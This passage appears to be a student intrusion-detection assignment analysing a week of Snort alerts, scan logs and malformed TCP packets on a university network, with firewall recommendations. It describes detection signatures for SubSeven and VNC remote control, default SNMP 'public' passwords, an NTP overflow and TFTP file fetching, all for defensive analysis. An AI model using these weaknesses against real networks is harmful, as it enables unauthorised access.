software. VNC is a popular tool for the remote administration of MS Windows systems because it is free of charge, but it is also used by malicious individuals to remotely control vulnerable systems.

The source code for the VNC client and server are openly available and so it is possible for someone to build VNC server capabilities into other software. It would be possible create a trojan horse that acts as a VNC server.

The 19 alerts associated with this signature are:

```
11/21-20:07:11.432502  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.150.246:5900 -> 65.187.107.25:4219
11/21-22:42:33.068479  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.130.157:5900 -> 63.253.106.7:1223
11/22-10:40:59.485245  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.70.72:5900 -> 65.1.215.95:1044
11/22-10:40:59.512145  [**] RFB - Possible WinVNC - 010708-1 [**] 65.1.215.95:1044 -> MY.NET.70.72:5900
11/22-11:40:45.874499  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.150.246:5900 -> 65.187.107.25:1072
11/22-11:40:45.915923  [**] RFB - Possible WinVNC - 010708-1 [**] 65.187.107.25:1072 -> MY.NET.150.246:5900
11/22-22:19:30.255210  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.70.72:5900 -> 65.1.215.95:1299
11/22-22:21:58.472419  [**] RFB - Possible WinVNC - 010708-1 [**] 65.187.107.25:4137 -> MY.NET.150.246:5900
11/22-22:23:26.260080  [**] RFB - Possible WinVNC - 010708-1 [**] 65.187.107.25:4152 -> MY.NET.150.246:5900
11/23-10:12:20.565559  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.150.246:5900 -> 65.187.107.25:3350
11/23-10:12:20.608389  [**] RFB - Possible WinVNC - 010708-1 [**] 65.187.107.25:3350 -> MY.NET.150.246:5900
11/23-17:45:33.449502  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.130.157:5900 -> 63.253.106.5:1327
11/24-00:40:54.999774  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.70.72:5900 -> 65.1.215.95:1180
11/24-00:40:55.034133  [**] RFB - Possible WinVNC - 010708-1 [**] 65.1.215.95:1180 -> MY.NET.70.72:5900
11/24-03:10:11.187322  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.98.155:1807 -> 24.4.215.52:5902
11/24-13:38:18.886194  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.130.157:5900 -> 63.253.106.6:1673
11/24-16:31:57.297099  [**] RFB - Possible WinVNC - 010708-1 [**] 65.187.107.25:1648 -> MY.NET.150.246:5900
11/24-19:01:03.981563  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.150.246:5900 -> 65.187.107.25:2306
11/24-20:53:42.546887  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.70.72:5900 -> 65.1.215.95:1031
```

The VNC server typically listens for connections on TCP port 5900 and we see that all of the alerts have 5900 as either the destination or source port. We can also clearly see that some alerts represent different packets in the same TCP connection. For example at 11/22 - 11:40:45 the two alerts are most likely TCP stimulus and response for an active connection between 65.187.107.25 and MY.NET.150.246.

In all but one alert it appears that the system using port 5900, the system most likely to be the "remotely controlled" system, is on the University's network.

We see only one alert:

```
11/24-03:10:11.187322  [**] RFB - Possible WinVNC - 010708-1 [**] MY.NET.98.155:1807 -> 24.4.215.52:5902
```

where an external IP appears to be running the VNC server and therefore "remotely controlled". Notice also that the destination port in this case is 5902 not 5900. We can assume that snort triggers this rule based on something other than port number. It is most common for snort rules to detect VNC by looking for the string "RFB nnn.nnn" where n is a number and this rule maybe be doing exactly that. If so we can be quite sure that these are really running VNC and these are not false alarms trigger by

coincidental use of port numbers.

Should this traffic cause us concern? It is possible that University users are using VNC to connect to their University systems from home: Professors and Grad students simply trying to connect to their office PC from home or while away at a conference. In the case of the one connection to remotely control and external IP, it may be that student is trying to connect to their home system from a University PC.

However, there is also a chance that malicious individuals are remotely controlling internal resources. If systems are being remotely controlled for malicious purposes we might see other alerts associated with the internal IPs of the controlled system. However when we check we see no other alerts associated with the internal IPs except for a little napster traffic.

Recommendations: The University should consider establishing a policy regarding remotely controlling internal systems from outside the University network. The firewall at the perimeter of the University's network should be used to enforce such a policy as best it can. Blocking TCP port 5900 traffic would be a start, however stateful inspection of traffic for "RFB" protocol would be more effective.

SNMP public access - 15 alerts

2 sources raised 15 alerts for 4 destinations with this signature.

This alert is seen when snort sees UDP packets from external IPs destined for an internal IP address on port 161 and where the content contains the string "public" as an SNMP password. SNMP is the Simple Network Management Protocol and it is possible to monitor and even reconfigure network devices using SNMP. SNMP authenticates users with "community strings" which are used like passwords. A frequent problem with SNMP is that vendors often set the default community string to "public" and many users do not bother to reset the password to something harder to guess.

Seeing this should be cause for some alarm. It is common to install device on a network without realizing the device uses SNMP and without realizing it has a default password that allows anyone to control the device.

The 15 alerts that were associated with this signature were:

```
11/21-00:36:22.772009  [**] SNMP public access [**] 65.166.58.15:62812 -> MY.NET.132.1:161
11/21-00:36:23.228487  [**] SNMP public access [**] 65.166.58.15:62812 -> MY.NET.134.1:161
11/21-00:36:23.230978  [**] SNMP public access [**] 65.166.58.15:62812 -> MY.NET.135.1:161
11/21-01:00:02.225648  [**] SNMP public access [**] 24.180.202.45:65293 -> MY.NET.190.13:161
11/21-01:00:02.299920  [**] SNMP public access [**] 24.180.202.45:65372 -> MY.NET.190.13:161
11/21-01:00:02.353625  [**] SNMP public access [**] 24.180.202.45:64760 -> MY.NET.190.13:161
11/22-00:59:54.803284  [**] SNMP public access [**] 24.180.202.45:64537 -> MY.NET.190.13:161
11/22-00:59:54.955619  [**] SNMP public access [**] 24.180.202.45:64448 -> MY.NET.190.13:161
```

```
11/23-00:59:44.782489  [**] SNMP public access [**] 24.180.202.45:64436 -> MY.NET.190.13:161
11/23-00:59:44.835558  [**] SNMP public access [**] 24.180.202.45:64518 -> MY.NET.190.13:161
11/23-00:59:44.878952  [**] SNMP public access [**] 24.180.202.45:64826 -> MY.NET.190.13:161
11/24-01:00:01.733138  [**] SNMP public access [**] 24.180.202.45:64861 -> MY.NET.190.13:161
11/24-01:00:01.819340  [**] SNMP public access [**] 24.180.202.45:64908 -> MY.NET.190.13:161
11/24-01:00:01.855549  [**] SNMP public access [**] 24.180.202.45:64824 -> MY.NET.190.13:161
11/24-01:00:01.909822  [**] SNMP public access [**] 24.180.202.45:64517 -> MY.NET.190.13:161
```

The first source IP address, 65.166.58.15, appears to be scanning for routers. Notice that this attacker sends packets to three different IP addresses in the same second, but that the difference in the destination IP addresses in the third quad. Normally during a scan we see an attacker change the number in the last quad. It is common for routers to be given the first available IP in a subnet. For class C networks that would means that the IP would end in XXX.XXX.XXX.1. It is strange how the attacker probes MY.NET.132.1, and then skips MY.NET.133.1, and then probes MY.NET.134.1 and MY.NET135.1. It could be that the snort sensor is dropping packets! Routers commonly are SNMP enabled so we can naturally conclude that this attacker is looking for routers with a badly configured default password. There are no other alerts associated with 65.166.58.15.

The second source IP, 24.180.202.45, sends between 2 and 4 packets each day to the same destination IP at almost exactly 1 AM. This could be some legitimate automated process trying to poll MY.NET.190.13 for information. However the source, 24.180.202.45, is outside the local network so it is unlikely that this is friendly traffic.

It should be noted that we cannot tell from the alerts if any response was sent by the probed systems. They will all have to be checked to ensure that they don't have vulnerable "public" community strings set.

Recommendations: Investigate MY.NET.132.1, MY.NET.134.1, MY.NET.135.1, and MY.NET.190.13 should all be checked to see if they are running an SNMP agent and if so its community strings (passwords) should be set to something other than the defaults of "public" and "private". The firewall at the perimeter of the University's network should be configured to block UDP traffic to internal IPs on port 161 as there is probably no real need to allow external IPs the ability to connect to SNMP agents on the internal network.

IDS50/trojan_trojan-active-subseven - 5 alerts

1 source raised 5 alerts for 1 destination with this signature.

Snort records this alert when an IP from the local network sends TCP packets with source port 1243 to external IPs with destination ports above 1024. Subseven is a trojan that can allow an attacker to remotely control an infected MS Windows system.

Seeing possible subseven activity on the network should cause us some alarm, however the snort rule that generated these alerts is quite broad and could result in

false alarms.

The five alerts with this signature were:

```
11/21-02:29:54.452396  [**] IDS50/trojan_trojan-active-subseven [**] MY.NET.70.148:1243 -> 204.152.184.75:53066
11/21-22:13:31.879289  [**] IDS50/trojan_trojan-active-subseven [**] MY.NET.70.148:1243 -> 204.152.184.75:64731
11/21-23:16:14.985366  [**] IDS50/trojan_trojan-active-subseven [**] MY.NET.70.148:1243 -> 204.152.184.75:60202
11/24-09:44:05.038449  [**] IDS50/trojan_trojan-active-subseven [**] MY.NET.70.148:1243 -> 204.152.184.75:52038
11/25-23:26:02.477591  [**] IDS50/trojan_trojan-active-subseven [**] MY.NET.70.148:1243 -> 204.152.184.75:63364
```

By checking for other alerts associated with MY.NET.70.148 we see that this system is the recipient of a large number of pings, traceroutes, anonymous FTP sessions, and a handful of other alerts. It appears that MY.NET.70.148 is some kind of FTP server.

If we reverse resolve the address 204.152.184.75 we find that its DNS name is ftp.netbsd.org. This is also a popular FTP server. If MY.NET.70.148 is an FTP server, then it would not be unreasonable to see outgoing FTP sessions as well as incoming FTP sessions. It is common for FTP servers to be the host of "mirrors" of other FTP sites and ftp.netbsd.org is a popular target for mirroring.

This is probably a false alarm however due to the large number of alerts associated with MY.NET.70.148 it should be investigated.

Recommendations: If MY.NET.70.148 is an MS Windows system then it should be checked for signs of infection. Otherwise there is little cause for alarm.

EXPLOIT NTPDX buffer overflow - 4 alerts

1 source raised 4 alerts for 1 destination with this signature.

Snort records this alert when it detects a connection to an internal IP on UDP port 123 from an external IP and when the size of the packet is larger than 128 bytes. This typically is a sign that an attacker is attempting to exploit a buffer overflow in the NTP daemon. NTP is the Network Time Protocol and it is used to allow system to synchronize their clocks. It is possible to gain root access on a Unix server that is running vulnerable version of the Network Time Protocol Daemon by sending a carefully crafted packet.

The 4 alerts raised with this signature are:

```
11/24-20:39:57.035726  [**] EXPLOIT NTPDX buffer overflow [**] 216.106.172.145:123 -> MY.NET.53.57:123
11/24-20:39:57.409766  [**] EXPLOIT NTPDX buffer overflow [**] 216.106.172.145:123 -> MY.NET.53.57:123
11/24-20:39:57.597548  [**] EXPLOIT NTPDX buffer overflow [**] 216.106.172.145:123 -> MY.NET.53.57:123
11/24-20:39:57.774460  [**] EXPLOIT NTPDX buffer overflow [**] 216.106.172.145:123 -> MY.NET.53.57:123
```

The only other alerts associated with MY.NET.53.57 are MSN IM Chat Data alerts. The IP of the attacker, 216.106.172.145, resolves to h216-106-172-145.ibeam.com which

belongs to iBEAM Broadcasting Corporation. It would appear that 216.106.172.145 is probably NOT an NTP server. If MY.NET.53.57 IS an NTP server that it could be that 216.106.172.145 was trying to exploit it.

Recommendations: Investigate MY.NET.53.57 for signs of compromise. Unless the University operates publicly accessible NTP servers, then NTP traffic should be block at the firewall on the perimeter of the University network. Outgoing NTP traffic should only be allowed to known NTP servers to minimize the possibility that an internal system might be used to exploit a remote NTP server.

TFTP - Internal TCP connection to external tftp server - 9 alerts
TFTP - Internal UDP connection to external tftp server - 3 alerts

4 sources generated 9 alerts for 4 destinations with this signature.

Snort raises this alert when it detects an internal IP sending TCP packets to port 69 on remote server or when it detects a TCP packet from port 69 on a remote server to an internal IP address. TFTP is the Trivial File Transfer Protocol and is most often used to update firmware and settings on standalone devices such as routers, but is also used for booting 'diskless workstations' such as X-terminals. Unfortunately it has malicious uses as well; an attacker can use TFTP to transfer files from a remote location onto an infected or compromised systems. TFTP is a popular choice for malicious use because it is Trivial, meaning it is easily implemented without needing much RAM. It's an ideal file transfer program to include in a virus or rootkit.

Seeing TFTP traffic from an internal IP to an external IP should give us great cause for alarm. There are few legitimate reasons why this traffic would occur and it could indicate that an internal system is compromised.

The 9 alerts raised were:

```
11/21-12:07:25.885729  [**] TFTP - Internal TCP connection to external tftp server [**] 209.247.164.25:69 -> MY.NET.98.186:3871
11/23-01:49:16.971534  [**] TFTP - Internal TCP connection to external tftp server [**] 63.124.246.194:69 -> MY.NET.60.38:3565
11/23-01:50:18.913394  [**] TFTP - Internal TCP connection to external tftp server [**] MY.NET.60.38:1697 -> 63.124.246.194:69
11/23-01:50:19.026608  [**] TFTP - Internal TCP connection to external tftp server [**] 63.124.246.194:69 -> MY.NET.60.38:1697
11/25-18:47:38.634291  [**] TFTP - Internal TCP connection to external tftp server [**] MY.NET.20.10:59881 -> 66.68.168.225:69
11/25-18:47:39.622619  [**] TFTP - Internal TCP connection to external tftp server [**] MY.NET.20.10:59881 -> 66.68.168.225:69
11/25-18:47:40.623350  [**] TFTP - Internal TCP connection to external tftp server [**] MY.NET.20.10:59881 -> 66.68.168.225:69
11/25-18:47:55.633288  [**] TFTP - Internal TCP connection to external tftp server [**] MY.NET.20.10:59881 -> 66.68.168.225:69
11/25-18:48:03.678624  [**] TFTP - Internal TCP connection to external tftp server [**] MY.NET.20.10:59881 -> 66.68.168.225:69
```

MY.NET.20.10 seems to have generated most of the alerts however we do not see any response packets from 66.68.168.225 so it is possible that MY.NET.20.10 was unable to connect to the remote TFTP server. It is possible that MY.NET.20.10 is compromised and should be investigated. We also see that in the alerts MY.NET.20.10 raised 3 other TFTP alerts for but for UDP packets instead of TCP packets. The UDP

```
11/23-09:09:24.203559  [**] TFTP - Internal UDP connection to external tftp server [**] MY.NET.20.10:137 -> 192.216.48.12:69
11/23-09:09:25.712534  [**] TFTP - Internal UDP connection to external tftp server [**] MY.NET.20.10:137 -> 192.216.48.12:69
11/23-09:09:27.212667  [**] TFTP - Internal UDP connection to external tftp server [**] MY.NET.20.10:137 -> 192.216.48.12:69
```

The destination address was not one seen in the other TFTP alerts and the time does not correspond to the TCP TFTP alerts either. It is possible that MY.NET.20.10 is infected with a virus or other trojan that is attempting to obtain files from remote sources periodically.

We see what might be a more complete conversation between MY.NET.60.38 and 63.124.246.194. It is possible that files were actually transferred from 63.124.246.194 to MY.NET.60.38.

Recommendations: MY.NET.98.186, MY.NET.60.38, and MY.NET.20.10 should all be immediately investigated for signs of compromise. More generally the firewall at the perimeter of the University's network should configured to disallow TFTP traffic to and from external IPs. It is unlikely that there is a legitimate need for this traffic and it safer to block it.

IDS475/web-iis_web-webdav-propfind - 1 alerts

1 source raised 1 alert for 1 destination with this signatures.

Snort raises this alert when an external IP sends a TCP packet to an internal server on port 80 whose contents contain two strings indicating that a WebDAV "propfind" command is being issued. WebDAV is an extension to the HTTP protocol that allows for remote upload and manipulation of files on a server. This alert does not indicate a problem by itself but unless external sources are allowed to modify content on the Universities webserver it could indicate that someone is looking for a badly configured WebDAV server.

The source IP address that generated this alert was 24.141.45.1 and was not mentioned in any other alerts. However the destination IP MY.NET.60.14 was mentioned in many other alerts, most of which were attempted web-based attacks against the server. It would appear that MY.NET.60.14 is a webserver on the University's network.

Recommendations: Carefully monitor WebDAV access to internal servers from external addresses. Unfortunately WebDAV is cannot be blocked at the firewall level so careful monitoring is a good choice.

ICMP SKIP (Undefined Code! - 1 alerts

1 source raised 1 alert for 1 destination with this signature.

The alert that contained this signature was:

11/24-11:40:53.465176 [**] ICMP SKIP (Undefined Code! [**] 151.30.21.219 -> MY.NET.6.7

Snort raises this alert when an ICMP packet with Type 39 is encountered. No other alerts were associated with IP 151.30.21.219 however many alerts were associated with MY.NET.6.7 as mentioned above.

No correlations could be found for this type of alert. It might be a malformed packet created by faulty network equipment or it could be a crafted packet.

Recommendation: Monitor MY.NET.6.7 more closely. While this alert may not be cause for much concern, MY.NET.6.7 is associated with many other alerts. Place 151.30.21.219 under observation (log packets to and from this IP at the router).

DDOS mstream client to handler - 1 alerts

1 source raised 1 alert for 1 destination with this signature.

The line alert associated with this alert was:

11/21-17:44:12.561404 [**] DDOS mstream client to handler [**] 207.138.42.41:80 -> MY.NET.75.12:12754

Snort reports this alert when it finds a connection to an IP on TCP port 12754 where the content of the packet contains a right angle bracket ">". In the alert we see what appear more likely to be a response from a webserver to a host on the University's network. Since ">" is a common character in HTML and web servers send HTML pages, it seems that this is likely a false alarm.

Recommendations: none.

Analysis of Scan Logs (Top 10 Talkers)

In total 1234 source IPs were identified by snort in the scan logs. Because of the large number of sources, it is not possible to provide a complete table here summarizing the activity of all scanners. Instead the top 10 scanners based on volume are given.

The following table shows the 10 IP addresses that generated the most scan events. The first column shows the number of events generated by the IP, the second column shows the number of unique IPs scanned, and the third column is the IP that was the source of the scan.

Total Events	Unique Destinations	Source IP Address
680863	1258	MY.NET.5.75
277421	42607	MY.NET.87.50
239618	659	MY.NET.5.76
9483	17	205.188.233.153
8960	14	205.188.246.121
8635	7573	217.136.7.67
6544	5966	209.235.8.118
6486	13	205.188.233.185
6321	862	MY.NET.253.10
5923	2873	MY.NET.97.212

An extremely large number of scan events were generated by three of the University's internal IP addresses. If we extract just the events generated by MY.NET.5.76, MY.NET.5.76, and MY.NET.87.50 we find that snort reported scans by this host almost constantly, every day, all day, for this host. Here is an excerpt of the, over 1,000,000 lines of scan logs generated by these three hosts.

```
Nov 21 00:26:12 MY.NET.5.76:67 -> MY.NET.201.94:68 UDP
Nov 21 00:26:13 MY.NET.5.76:67 -> MY.NET.206.90:68 UDP
Nov 21 00:26:13 MY.NET.87.50:999 -> 24.190.34.163:27005 UDP
Nov 21 00:26:13 MY.NET.87.50:999 -> 65.2.149.248:27005 UDP
Nov 21 00:26:14 MY.NET.5.75:67 -> MY.NET.235.170:68 UDP
Nov 21 00:26:14 MY.NET.5.75:67 -> MY.NET.235.214:68 UDP
Nov 21 00:26:14 MY.NET.5.75:67 -> MY.NET.238.198:68 UDP
Nov 21 00:26:15 MY.NET.5.75:67 -> MY.NET.238.194:68 UDP
```

This pattern repeats throughout the logs. MY.NET.5.75 and MY.NET.5.76 appear to be DHCP servers. The source port 67 and destination port 68 are the standard ports for DHCP servers and DHCP clients respectively. It is not surprising to see a DHCP server on a large network sending packets to different hosts every few seconds.

By using the following UNIX command we can generate a list of all the source ports used in scan events associated with MY.NET.5.75 and MY.NET.5.76:

grep –E '(MY.NET.5.75|MY.NET.5.76)' scan_logs | awk '{print $4}' | awk –F: '{print $2}' | sort | uniq –c | sort –nr.

The output shows 916041 events had a source port of "67", 1 event had a source port of "68", and the remaining events had various other high ports. We can safely eliminate all events in the logs for these two IPs where the source port is 67. This eliminates almost 1 million of the events in our scan logs!

It is very likely that the other scan events that were logged for MY.NET.5.75 and MY.NET.5.76 were simply IP packets that were being sent by either of the hosts very close in time with a string of DHCP packets that snort had misidentified as a scan. To be sure of this however, we should generate a list of the destination ports of the other

scans. The following Unix command generates a list for us:

grep –E '(MY.NET.5.75|MY.NET.5.76)' scan_logs | grep –Ev ('MY.NET.5.75:67|MY.NET.5.76:67)' | awk '{print $6}' | awk –F: '{print $2}' | sort | uniq –c | sort –nr.

The output is shown in the following table:

Total Events	Destination Port
4440	23
4	22
2	80
1	21536

This looks like normal traffic for a DHCP server. The large number of telnets would be alarming but a quick check of the logs manually show that the telnets are to other internal IP address so this seems safe.

Recommendation: Configure snort to not consider traffic from source port 67 originating from known DHCP servers as portscans. Snort is spending a lot of time processing the packets from these very busy servers.

MY.NET.87.50 generated the second largest number of events. If we extract the lines from the scan logs associated with this IP we scan see a sample of the activity:

```
Nov 21 00:04:37 MY.NET.87.50:888 -> 24.68.35.177:2006 UDP
Nov 21 00:04:37 MY.NET.87.50:999 -> 24.68.35.177:2021 UDP
Nov 21 00:04:40 MY.NET.87.50:999 -> 64.59.149.150:27005 UDP
Nov 21 00:04:40 MY.NET.87.50:999 -> 203.164.105.91:64875 UDP
Nov 21 00:04:44 MY.NET.87.50:999 -> 64.59.149.150:27005 UDP
Nov 21 00:04:48 MY.NET.87.50:999 -> 64.59.149.150:27005 UDP
```

This pattern repeats through the events generated by this IP. For all but 10 of the scan events, the source port number as 888 or 999. Destination ports varied greatly but 27005 was the most common, accounting for 118,290 events out of 277,427. Furthermore other ports close to 27005 accounted for many thousands of more events.

UDP ports 888 and 999 are not commonly associated with anything. UDP port 27005 is however most commonly known as the source port that Half-life client connections[4]. Half-life is a popular game allowing multiple users to play together over the Internet. Half-life clients typically send packets with a source port of 27005. Half-life is popular enough that it could be responsible for the large number of events seen for MY.NET.87.50.

Recommendations: It is very likely that MY.NET.87.50 is a Half-life server. If it is against

University policy for user's to operate such servers then it should be investigated.

Several IPs in the top 10 list start with 205.188.XXX.XXX. If we examine the scan logs we see that there are quite a few hosts whose IP addresses start with 205.188.XXX.XXX that are responsible for thousands of scan events each. The breif sample below shows a clear pattern:

```
Nov 21 09:10:31 205.188.233.121:15600 -> MY.NET.182.59:6970 UDP
Nov 21 09:10:31 205.188.233.121:22010 -> MY.NET.70.92:6970 UDP
Nov 21 09:10:36 205.188.233.121:22010 -> MY.NET.70.92:6970 UDP
Nov 21 09:10:36 205.188.233.121:15600 -> MY.NET.182.59:6970 UDP
Nov 21 09:10:40 205.188.233.121:15600 -> MY.NET.182.59:6970 UDP
Nov 21 09:10:37 205.188.233.121:22010 -> MY.NET.70.92:6970 UDP
Nov 21 09:10:44 205.188.233.121:15600 -> MY.NET.182.59:6970 UDP
Nov 21 09:10:48 205.188.233.121:15600 -> MY.NET.182.59:6970 UDP
Nov 21 09:10:49 205.188.233.121:15600 -> MY.NET.182.59:6970 UDP
Nov 21 09:18:41 205.188.233.153:28846 -> MY.NET.182.59:6970 UDP
Nov 21 09:18:38 205.188.233.153:27632 -> MY.NET.178.222:6970 UDP
Nov 21 09:18:41 205.188.233.153:26300 -> MY.NET.110.33:6970 UDP
Nov 21 09:18:39 205.188.233.153:18058 -> MY.NET.87.9:6970 UDP
Nov 21 09:18:41 205.188.233.153:22132 -> MY.NET.145.166:6970 UDP
```

Almost all of the events generated by IPs that start with 205.188.XXX.XXX have a destination port of 6970. UDP port 6970 is the standard port for RTSP clients. RTSP is the Real Time Stream Protocol and is used by many streaming media players such as Apple's Quicktime Player and RealNetwork's RealPlayer. RTSP clients use port 6970 to receive data from RTSP servers. We notice that there are many many destination IPs associated with these alerts and that does make sense if this is related to streaming media players.

The following IP addresses were the source of alerts that had a desination port of 6970.

Number of Alerts	Source IP Address
8915	205.188.246.121
8755	205.188.233.153
6145	205.188.233.185
4620	205.188.233.121
3974	205.188.244.57
1978	205.188.244.121
1	216.106.173.145
1	216.106.172.144
1	211.117.63.45
1	207.46.230.190

We can confirm that source IPs for these port 6970 alerts are indeed streaming media servers, and not malicious users performing reconnaissance on the University's network by examining the DNS and Whois registration records for each IP.

IP Address	DNS Name

205.188.233.153	g2lb5.spinner.com
205.188.233.185	g2lb6.spinner.com
205.188.233.121	g2lb4.spinner.com
205.188.244.57	g2lb1.spinner.com
205.188.244.121	g2lb2.spinner.com
216.106.173.145	h216-106-173-145.ibeam.com
216.106.172.144	h216-106-172-144.ibeam.com
211.117.63.45	Unknown
207.46.230.190	Unknown

The WHOIS records from WHOIS.ARIN.NET for 205.188.0.0 show that the entire block is owned by AOL. Which does not help us much:

```
whois -h whois.arin.net 205.188.0.0
[whois.arin.net]
America Online, Inc (NETBLK-AOL-DTC)
   22080 Pacific Blvd
   Sterling, VA 20166
   US

   Netname: AOL-DTC
   Netblock: 205.188.0.0 - 205.188.255.255

   Coordinator:
      America Online, Inc.  (AOL-NOC-ARIN)  domains@AOL.NET
      703-265-4670

   Domain System inverse mapping provided by:

   DNS-01.NS.AOL.COM          152.163.159.232
   DNS-02.NS.AOL.COM          205.188.157.232

   Record last updated on 27-Apr-1998.
   Database last updated on  6-Feb-2002 19:56:46 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
```

All the addresses that started with 205.188.XXX.XXX where associated with the SPINNER.COM domain. By visiting http://www.spinner.com/ we find out that Spinner is a music streaming program and that user's of Spinner can download music over the Internet. It seems more obvious that these scans are indeed false alarms related to

wide-spread use of the RTSP protocol on the University's network.

The ARIN WHOIS records for the addresses 206.106.172.144 and 206.106.173.145 show that the IPs are owned by the iBEAM Broadcasting company, a name that sounds like it might be for a company that provides streaming media. A visit to http://www.ibeam.com/ confirms that iBEAM indeed does provide streaming media.

```
whois -h whois.arin.net 216.106.173.145
[whois.arin.net]
iBEAM Broadcasting Corporation (NETBLK-IBEAM)
   645 Almanor Ave., suite 100
   Sunnyvale, CA 94085
   US

   Netname: IBEAM
   Netblock: 216.106.160.0 - 216.106.175.255
   Maintainer: BEAM

   Coordinator:
      Le, Stewart  (SL895-ARIN)  stle@ibeam.com
      408-830-3572

   Domain System inverse mapping provided by:

   NS1.IBEAM.COM          204.233.70.15
   NS2.IBEAM.COM          204.247.99.125

   ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

   Record last updated on 22-Jan-2002.
   Database last updated on  6-Feb-2002 19:56:46 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
```

Recommendations: There appears to be a great deal of RTSP traffic on the University network. Snort should be configured so that it does not treat UDP packets to well known RTSP servers as portscans and thus reduce the processing load on the snort sensor.

Analysis of OOS Packets

All of the OOS packets logged by the University's snort sensor were TCP packets. The most common reason for a packet to be logged as Out-of-spec is for the TCP flags to be set in an illegal configuration. The following table shows each TCP flag configuration that was encountered and how many packets were found with that configuration. The Unix command: grep Seq: oos_logs | awk '{print $1}' | sort | uniq –c | sort –nr was used to generate the table:

Occurances	TCP Flags	Occurances	TCP Flags
497	21S*****	1	**SFRPAU
12	2*SF***U	1	21S**PA*
3	**SFRP*U	1	21SFRP*U
3	2*SFR**U	1	21SFRP**
3	21*FRPAU	1	21SFR*AU
2	**SFR*AU	1	21SFR*A*
2	**SF**AU	1	21SF*PAU
2	2*SFR*A*	1	21SF*PA*
2	2*SF*P*U	1	21SF**AU
2	21S****U	1	21SF**A*
2	21S*RPAU	1	21*FR**U
2	21S*RP**	1	21*FRP*U
2	21S*R***	1	21*FR***
2	21SFR**U	1	21*F****
2	*1SFR*A*	1	*1SFR**U
2	*1SF****	1	*1SFRPAU
1	**SFRPA*	1	*1SFRP**
1	**SFR***	1	*1SF*PA*
1	**SF*P**	1	2*SFRP**
1	**SF**A*	1	2*SF*P**
1	2*SFRP*U	1	2*SF**AU
1	21S*R**U	1	2*SF****

The most commonly occurring Flag configuration was "21S*****." This is a TCP packet with the two reserved bits set and the "Syn" bit set. Technically the reserved bits are never to be set; it is an error to do so. However RFC 3168 proposes the ECN or Explicit Congestion Notification system for TCP/IP. This system allows ECN aware routers to set the two reserved bits on TCP Syn packets in order to determine if other upstream routers are also ECN aware. More an more often it is becoming common to see the two reserved bits set on TCP Syn packets.

Recommendation: It is most likely that the large number of "21S*****" packets are nothing to worry about. No action needs to be taken.

The only illegal flag pattern that showed up in quantity is "2*SF***U." 12 packets of this type were detected. In these packets the Syn, Fin, and Urgent flags are all set. Combining Fin and Urg is legal but Syn and Fin may not be set together since Syn signals the beginning of a TC connection and Fin closes it. One of the reserved bits is also set.

The following IP addresses each generated one packet with this flag pattern (except 24.101.109.213 which generated 2 packets):

202.88.233.60

24.101.109.213
65.129.24.122
65.129.28.225
65.129.32.102
65.129.34.18
65.129.34.52
65.129.36.59
65.129.44.8
65.129.54.138
65.129.58.168

Notice that most of the IPs start with 65.129.*.*. A WHOIS lookup on the ARIN records for 65.129.0.0 shows these IPs are owned by a large ISP.

```
whois -h whois.arin.net 65.129.44.8
[whois.arin.net]
Qwest Communications (NETBLK-NET-QWEST-3BLKS)
  950 17th St. Suite 1900
  Denver, CO 80202
  US

  Netname: NET-QWEST-3BLKS
  Netblock: 65.128.0.0 - 65.158.159.255
  Maintainer: QWDL

  Coordinator:
    Qwest, NOC  (QN-ARIN)  DIAProdMaint@qwestip.net
    1-703-363-3001 (FAX) 1-703-363-3177

  Domain System inverse mapping provided by:

  DCA-ANS-01.INET.QWEST.NET       205.171.9.242
  SVL-ANS-01.INET.QWEST.NET       205.171.14.195

  ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

  Record last updated on 01-Aug-2001.
  Database last updated on  6-Feb-2002 19:56:46 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
```

Performing DNS lookups on each IP address reveals that they all belong to a modem pool in Philadelphia USA. E.g. 0-1pool44-8.nas37.philadelphia1.pa.us.da.qwest.net.

So if these IPs belong to a dial-up pool then it may be that one user is generating them, but different IPs show up because they are dynamically allocated when the user dials in. This would only make sense if the packets were arriving far apart from each other. A look at the times for packets from the Qwest addreses shows:

11/21-05:13:04.445870
11/22-21:18:22.595529
11/23-15:57:54.143012
11/23-21:18:55.047343
11/24-01:50:30.573769

11/24-08:40:06.437828
11/24-19:44:40.349517
11/25-10:39:47.023036
11/25-11:51:24.659437

Indeed they are arriving far apart from each other. By looking for other OOS packets from Qwest address we find that many of the OOS events were generated by the Qwest addresses. The destination IPs of these packets shows us that two IPs are the most common: MY.NET.5.59 and MY.NET.253.114. The packets to MY.NET.5.29 are always destined for TCP port 0 which is abnormal. The packets for MY.NET.253.114 are always destined for TCP port 21536.

It is possible that someone using a Qwest dialup account is attempting some form of OS fingerprinting using by sending invalid packets. It is also possible that there is a faulty piece of network equipment on the Qwest network in Philadelphia.

By looking at the alert logs for entries associated with MY.NET.253.114 we see that it is most likely a very busy web server. It would not be unusual to see a large number of dialup users in one geographical area connecting to a busy webserver at a University. In such a case, if there were bad network equipment, the result we see would not be unusual.

Recommendation: Contact Qwest and determine if there is a faulty network equipment generating these frequent bad TCP packets. The contact information for the Qwest network is listed above.

Assignment 3, REFERENCES

1. http://www.sans.org/y2k/082200.htm
2. http://archives.neohapsis.com/archives/incidents/2000-10/0136.html
3. http://www.google.com/search?client=googlet&meta=hl%3Den%26lr%3Dlang_en&q=beetle.ucs
4. http://www.hansenonline.net/HalfLife/linksys.html

